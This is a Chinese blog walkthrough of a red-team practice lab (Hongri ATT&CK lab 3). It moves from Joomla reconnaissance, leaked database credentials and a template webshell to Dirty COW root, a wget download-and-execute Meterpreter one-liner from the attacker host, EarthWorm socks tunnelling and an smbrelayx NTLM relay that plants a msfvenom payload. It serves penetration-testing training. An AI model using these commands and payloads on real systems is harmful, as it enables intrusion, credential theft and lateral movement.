当前位置: 首页 > news >正文

[红日靶机渗透] ATKCK红队评估实战靶场三

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

一、环境搭建

1.靶场下载

2.拓扑图

3.配置环境

二、外网渗透

1.信息收集

2.目录扫描

joomscan扫描

3.远程连接MySQL

4.getshell

5.LD_PRELOAD绕过

三、内网渗透

1.内网信息收集

信息收集总结:

2.ssh远程连接

3.脏牛提权

4.msf,监听

5.msf后渗透

6.基于EarthWorm的正反向socks5代理

1.我们首先要添加路由,转发sock代理

2.Socks5代理

四、横向移动

1.NTLM Relay 攻击

1.msf生成木马

2.抓取用户的Net-NTLM Hash的过程


一、环境搭建

1.靶场下载

靶场下载地址:
https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
提取码:7mhi

2.拓扑图

web-centos一进入:

service network restart 重启网络服务

3.配置环境

kaliweb-centosweb-ubantupcwin 2008win 2012
内网192.168.93.100192.168.93.120192.168.93.30192.168.93.20192.168.93.10
192.168.43.157192.168.43.57

二、外网渗透

1.信息收集

发现centos机器的外网IP地址是192.168.43.57

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.43.57

扫描发现开放了22、80、3306端口

2.目录扫描

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.43.57 

需要输入账号密码,可以尝试弱口令,发现失败了

joomscan扫描
┌──(root💀kali)-[~/桌面]
└─# joomscan -u http://192.168.43.57

版本joomla 3.9.12,可以利用msf的payload试试

还有很多目录,都可以扫描出来

想使用msf渗透,但是没有找到模块

/configuration.php~目录下面,找到了数据库的账户密码

想到开始端口扫描的时候,开放了3306端口,所以这里mysql是目前要尝试利用的地方

$user = 'testuser'
$password = 'cvcvgjASD!@'

3.远程连接MySQL

一般账号密码在数据库的user表中,直接检索,然后进行查找

发现这个是administrator最高用户,所以可以修改密码,然后进行登录

账号:administrator
密码:123456

也可以登录mysql,进行修改password

mysql -h 192.168.43.57 -u testuser -pmysql> select * from am2zu_users;update am2zu_users set password = md5("123456") where id = 891;  #修改password

4.getshell

点击Bee3 Details and Files

写入getshell木马

木马上传的文件位置:/templates/beez3/

最终地址:

http://192.168.43.57/templates/beez3/error.php

连接蚁剑

打开终端,发现无法输入命令

查看phpinfo发现确实设置了disable_functions

5.LD_PRELOAD绕过

payload下载:

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) - GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)icon-default.png?t=N7T8https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

蚁剑的插件市场里面也有:

LD_PRELOAD绕过

把这个再上传进去,上传的目录一定要记住,后面传参的时候要用到

说明这台机器,我们就已经拿下来了

三、内网渗透

1.内网信息收集

ifconfig

uname -a  ##查看内核版本

whoami     #查看当前shell权限      www-data
id         #uid=33(www-data) gid=33(www-data) groups=33(www-data) 

信息收集总结:

我们可以发现,我们开始是打算渗透进入centos靶机,但是我们这里远程命令执行的命令,回显出来的信息都是ubantu的靶机的

上网查了资料才知道,原来是Centos是Ubuntu的反向代理,用的是Nginx协议

最后在/tmp/mysql目录下找到了一个账号和密码

我们前面扫描centos靶机开放了22端口,我们这里可以尝试下ssh远程连接

adduser wwwuser
passwd wwwuser_123Aqx

2.ssh远程连接

┌──(root💀kali)-[~/桌面]
└─# ssh wwwuser@192.168.43.57 

uname -an

┌──(root💀kali)-[~/桌面]
└─# searchsploit linux 2.6.32

这里面有很多内核提权的方法,我尝试了几个,没有提权成功,我后来是用脏牛提权法

查看版本Linux内核版本信息,发现符合脏牛提权漏洞

3.脏牛提权

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

在可执行目录下,一般在/tmp目录下

gcc -pthread dirty.c -o dirty -lcrypt  ##编译dirty.c./dirty 123456id       #显示用户的ID,以及所属群组的ID;uid=0,为root用户su firefart  ##密码123456

4.msf,监听

我们目前需要:通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接

kali 另外起一个msf,进行监听

msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show targets Exploit targets:Id  Name--  ----0   Python1   PHP2   PSH3   Regsvr324   pubprn5   SyncAppvPublishingServer6   PSH (Binary)7   Linux8   Mac OS Xmsf6 exploit(multi/script/web_delivery) > set target 7
target => 7msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.43.157
lhost => 192.168.43.157
msf6 exploit(multi/script/web_delivery) > options Module options (exploit/multi/script/web_delivery):Name     Current Setting  Required  Description----     ---------------  --------  -----------SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.SRVPORT  8080             yes       The local port to listen on.SSL      false            no        Negotiate SSL for incoming connectionsSSLCert                   no        Path to a custom SSL certificate (default is randomly generated)URIPATH                   no        The URI to use for this exploit (default is random)Payload options (linux/x64/meterpreter/reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.168.43.157   yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----7   Linux

输入run之后,会生成一个payload,然后复制在CentOS上执行

执行之后就会出现下图红框的中的内容

[firefart@localhost tmp]# wget -qO nPTCbkLP --no-check-certificate http://192.168.43.157:8080/KnZJ61asAFMH; chmod +x nPTCbkLP; ./nPTCbkLP& disown

5.msf后渗透

msf6 exploit(multi/script/web_delivery) > sessions -lActive sessions
===============Id  Name  Type                   Information                                                                       Connection--  ----  ----                   -----------                                                                       ----------1         meterpreter x64/linux  firefart @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) @ localhost.l...  192.168.43.157:4444 -> 192.168.43.57:50264 (192.168.43.57)msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...meterpreter >

6.基于EarthWorm的正反向socks5代理

参考博客:

基于EarthWorm的正反向socks5代理_socks5反向代理-CSDN博客文章浏览阅读3.9k次,点赞3次,收藏10次。EarthWorm是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处_socks5反向代理https://blog.csdn.net/qq_44159028/article/details/122821861

1.我们首先要添加路由,转发sock代理
添加路由是为了能让msf程序进入内网,便于攻击earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口

添加一个通向内网 192.168.93.0/24 网段的路由

route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1
2.Socks5代理

使用earthworm搭建socks5反向代理

ew下载:

GitHub - idlefire/ew: 内网穿透(跨平台)内网穿透(跨平台). Contribute to idlefire/ew development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/idlefire/ew

kali(攻击者)

./ew_for_linux64 -s rcsocks -l 1080 -e 1234#将1080端口监听到的本地数据转发到 web服务器的1234端口# 通过1080端口,将本地流量转发出去#rcsocks、rssocks 用于反向连接#ssocks 用于正向连接# -l 指定本地监听的端口# -e 指定要反弹到的机器端口# -d 指定要反弹到机器的IP# -f 指定要主动连接的机器 ip# -g 指定要主动连接的机器端口# -t 指定超时时长,默认为 1000

在CentOS上传 ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.43.157 -e 1234#192.168.43.157 是攻击者kali的IP地址

再回到kali终端:

将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

这样我们就可以利用proxychains,将我们的socks5代理进去到内网中了

scanner进行扫描

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

四、横向移动

1.NTLM Relay 攻击

参考博客:

NTLM-relay攻击的原理与实现_ntlmssp攻击-CSDN博客文章浏览阅读10w+次,点赞9次,收藏17次。CATALOGNTLM相关1.用处2.认证流程其他术语NT-hash/NTLM-hashLM-hashNet-NTLM hashSSPISSPNTLM-relay原理不同版本的NTLM认证对应的responseNTLM-relay攻击如何获取到NET-NTLM hash通过responder或者inveigh工具Inveighresponder破解NET-NTLM hash(v2)其它方式的NTLM-relay攻击利用impacket的ntlmrelayssmb协议访问:http协议访问参考文章NTLM相_ntlmssp攻击https://blog.csdn.net/qq_41874930/article/details/108825010

工具使用说明:
impacket-master:为了伪造smb服务器,抓取用户的密码msf:生成一个exe木马 ,结合impacket-master的smbrelayx.py使用

通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2

因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。
1.msf生成木马

首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.157 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe#192.168.43.157 是kali的IP地址

然后将木马上传到centos靶机上

Impacket下载位置:

https://github.com/fortra/impacket/tree/master/examplesicon-default.png?t=N7T8https://github.com/fortra/impacket/tree/master/examples

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe# 攻击信息都会反弹到192.168.93.20这台主机

但是这个靶机是没有python3的,所以要安装python3

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make installln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pippip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex 
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket

但是我这里一直报错说没用权限,所以没有成功

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:

nginx -s stop

执行python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的

有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻

击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

2.抓取用户的Net-NTLM Hash的过程

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-

NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,

会在Windows Server2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

在msf上开启对 win 2008(192.168.93.20)的监听然后在win7上访问smb服务器,使得win 2008成功上线顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器

win8进行监听

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入

用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

相关文章:

[红日靶机渗透] ATKCK红队评估实战靶场三

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】 &#x1f…...

网课:N皇后问题——牛客(题解和疑问)

题目描述 给出一个nnn\times nnn的国际象棋棋盘,你需要在棋盘中摆放nnn个皇后,使得任意两个皇后之间不能互相攻击。具体来说,不能存在两个皇后位于同一行、同一列,或者同一对角线。请问共有多少种摆放方式满足条件。 输入描述: …...

[大厂实践] Netflix容器平台内核panic可观察性实践

在某些情况下,K8S节点和Pod会因为出错自动消失,很难追溯原因,其中一种情况就是发生了内核panic。本文介绍了Netflix容器平台针对内核panic所做的可观测性增强,使得发生内核panic的时候,能够导出信息,帮助排…...

2024/2/8

数据类型与作用域练习 1、选择题 1.1、以下选项中,不能作为合法常量的是 ___b_______ A)1.234e04 B)1.234e0.4 C)1.234e4 D)1.234e0 1.2、以下定义变量并初始化错误的是______d_______。 A) char c1 ‘H’ &am…...

Verilog刷题笔记23

题目: Suppose you’re building a circuit to process scancodes from a PS/2 keyboard for a game. Given the last two bytes of scancodes received, you need to indicate whether one of the arrow keys on the keyboard have been pressed. This involves a fairly simp…...

C#验证字符串的长度,用正则表达式 vs 字符数组长度或字符串的长度

目录 一、使用的方法 1.使用正则表达式 2.通过计算字符串的长度验证 二、实例 1.源码 2.生成效果 一、使用的方法 1.使用正则表达式 使用正则表达式可以判断和限制用户输入的字符串长度。 比如验证用户密码不得少于8为,匹配的正则表达式"^.{8,}$"…...

opencv C++ dnn模块调用yolov5以及Intel RealSense D435深度相机联合使用进行目标检测

一、代码 #include <opencv2/opencv.hpp> #include <opencv2/dnn/dnn.hpp> #include <librealsense2/rs.hpp> // Include RealSense Cross Platform APIusing namespace cv; using namespace dnn; using namespace std; using namespace rs2;// 类名数组&am…...

2024牛客寒假算法基础集训营1(视频讲解全部题目)

2024牛客寒假算法基础集训营1&#xff08;题目全解&#xff09; ABCDEFGHIJKLM 2024牛客寒假算法基础集训营1&#xff08;视频讲解全部题目&#xff09; A #include<bits/stdc.h> #define endl \n #define deb(x) cout << #x << " " << …...

第三百一十三回

文章目录 1. 概念介绍2. 实现方法2.1 obscureText属性2.2 decoration属性 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何实现倒计时功能"相关的内容&#xff0c;本章回中将介绍如何实现密码输入框.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍…...

倒计时61天

M-智乃的36倍数(normal version)_2024牛客寒假算法基础集训营3 (nowcoder.com) //非ac代码,超时了,54.17/100#include<bits/stdc.h> using namespace std; const int N1e55; const int inf0x3f3f3f3f; #define int long long int n; string s1[N]; void solve() {cin>…...

npm后Truffle找不到命令(ubantu20系统)

Truffle找不到命令 方法1方法2 方法1 # 编辑.profile vim ~/.profile # 在.profile末尾把nodejs的解压路径添加到$PATH环境变量中 PATH"$HOME/bin:$HOME/.local/bin:路径:$PATH" source 文件方法2 #ls -l 在nodejs的bin目录下查看truffle链接的脚本文件 truffle -&…...

嵌入式学习第三篇——51单片机

目录 1&#xff0c;嵌入式系统 1&#xff0c;嵌入式系统的定义 2&#xff0c;单片机的定义 2&#xff0c;51单片机 1&#xff0c;开发环境 2&#xff0c;开发板使用的基本思路 1&#xff0c;查看原理图&#xff0c;查看芯片手册 2&#xff0c;获得调用硬件的管…...

RabbitMQ详解

RabbitMQ 1.初识MQ 1.1.同步和异步通讯 微服务间通讯有同步和异步两种方式&#xff1a; 同步通讯&#xff1a;就像打电话&#xff0c;需要实时响应。 异步通讯&#xff1a;就像发邮件&#xff0c;不需要马上回复。 两种方式各有优劣&#xff0c;打电话可以立即得到响应&a…...

CGAL::2D Arrangements-4

4. Free函数 Arrangement_on_surface_2类模板是用曲线切分二维的面。因为它的接口设计是最简化的&#xff0c;这意味着它的成员函数很少执行几何操作。本章将解释怎么利用这些Free function来达到Arrangement操作。执行这些操作通常需要优秀的几何算法&#xff0c;而且有时会对…...

终端命令提示符:如何查看我们电脑端口是否被占用和处理方式

文章目录 端口信息查看1、Windows:2、Linux/macOS: 使用 netstat使用 lsof 端口信息查看 在不同的操作系统中&#xff0c;查看端口是否被占用的指令有所不同。以下是一些常见的指令&#xff1a; 1、Windows: 使用命令行工具 netstat 来查看端口占用情况。 电脑键盘按住 win…...

elasticsearch重置密码操作

安装es的时候需要测试这个url&#xff1a;http://127.0.0.1:9200/ 出现弹窗让我输入账号和密码。我第一次登录&#xff0c;没有设置过账号和密码&#xff0c; 解决方法是&#xff1a;在es的bin目录下打开cmd窗口&#xff0c;敲命令&#xff1a;.\elasticsearch-reset-password…...

从零开始手写mmo游戏从框架到爆炸(零)—— 导航

从今天开始我们尝试从零开始写一个mmo的游戏。主要技术还是netty。参考了网上很多的大神的框架&#xff0c;本来希望基于ioGame或者vert.x等来直接写功能的&#xff0c;觉得从零开始更有意义&#xff0c;而且咱们也不需要太NB的底层功能&#xff0c;够用就行。 下面是导航&…...

机器学习7-K-近邻算法(K-NN)

K-Nearest Neighbors&#xff08;K-近邻算法&#xff0c;简称KNN&#xff09;是一种基本的监督学习算法&#xff0c;用于解决分类和回归问题。KNN的核心思想是基于距离度量&#xff0c;在特征空间中找到最近的K个样本&#xff0c;然后使用它们的标签进行决策。以下是KNN的基本概…...

相机图像质量研究(7)常见问题总结:光学结构对成像的影响--镜片固化

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…...

猫头虎分享已解决Bug || Go Error: cannot convert int to string

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …...

前端bug手册

JavaScript错误&#xff1a;常见的JavaScript错误包括语法错误、未定义的变量、类型错误等。这些错误可能导致页面无法正常运行或功能无法正常使用。样式问题&#xff1a;前端开发中常见的样式问题包括布局错乱、元素位置不正确、样式覆盖等。这些问题可能导致页面显示不正常或…...

Elasticsearch中Document Routing特性

Document Routing在Elasticsearch中是一种高级特性&#xff0c;它允许用户在索引文档时指定一个路由值。通过这种方式&#xff0c;可以确保具有相同路由值的所有文档都存储在同一个分片中。这对于提高查询效率特别有用&#xff0c;因为它允许查询只针对包含相关文档的特定分片&…...

【Git版本控制 03】远程操作

目录 一、克隆远程仓库 二、推送远程仓库 三、拉取远程仓库 四、忽略特殊文件 五、命令配置别名 一、克隆远程仓库 Git是分布式版本控制系统&#xff0c;同⼀个Git仓库&#xff0c;可以分布到不同的机器上。怎么分布呢&#xff1f; 找⼀台电脑充当服务器的⻆⾊&#xff…...

【Git】Windows下通过Docker安装GitLab

私有仓库 前言基本思路拉取镜像创建挂载目录创建容器容器启动成功登录仓库设置中文更改密码人员审核配置邮箱 前言 由于某云存在人数限制&#xff0c;这个其实很好理解&#xff0c;毕竟使用的是云服务器&#xff0c;人家也是要交钱的。把代码完全放在别人的服务器上面&#xf…...

flutter 操作mysql

引入模块 dependencies: flutter: sdk: flutter mysql1: ^0.20.0 mysql helper 的代码 import dart:async; import package:mysql1/mysql1.dart; class MySqlHelper { static const _host localhost; static const _port 3333; static const _user user; static c…...

c++阶梯之类与对象(中)< 续集 >

前文&#xff1a; c阶梯之类与对象&#xff08;上&#xff09;-CSDN博客 c阶梯之类与对象&#xff08;中&#xff09;-CSDN博客 前言&#xff1a; 在上文中&#xff0c;我们学习了类的六个默认成员函数之构造&#xff0c;析构与拷贝构造函数&#xff0c;接下来我们来看看剩下…...

GitLag所有操作-汇总

1、MAC Git环境设置 跳转 Git通过Token拉代码&#xff1a; 跳转 Git基础操作&#xff1a;拉、put、删 跳转 Git回滚操作&#xff1a; 跳转 Git回滚操作-复杂 跳转 对于Commit但是还没有push的代码&#xff0c;如果回滚&#xff1a; 跳转...

JSch - 配置SFTP服务器SSH免密登录

文章目录 1. 什么是SFTP2. 什么是Jsch以及它的作用3. Linux中配置SSH密钥登录4. sftp服务器认证机制5. publickey和password两种方式登录sftp的API调用6. 代码可以如下改造&#xff1a; 需求&#xff1a;做一个通过ssh免密登录的需求&#xff0c;是基于原先密码登录sftp服务器的…...

RISC-V指令格式

RISC-V指令格式 1 RISC-V指令集命名规范2 RISC-V指令集组成2.1 基础整数指令集2.2 扩展指令集 3 RISC-V指令格式3.1 指令表述3.2 指令格式 本文属于《 RISC-V指令集基础系列教程》之一&#xff0c;欢迎查看其它文章。 1 RISC-V指令集命名规范 前面提到过RV32I&#xff0c;这是…...

Linux 文件比较工具

在Linux系统中&#xff0c;文件比较是一种常见的任务&#xff0c;用于比较两个文件之间的差异。文件比较可以帮助我们找出两个文件的不同之处&#xff0c;或者确定它们是否完全相同。在Linux中&#xff0c;有多种方法可以进行文件比较。 1. diff 在Linux中&#xff0c;diff命…...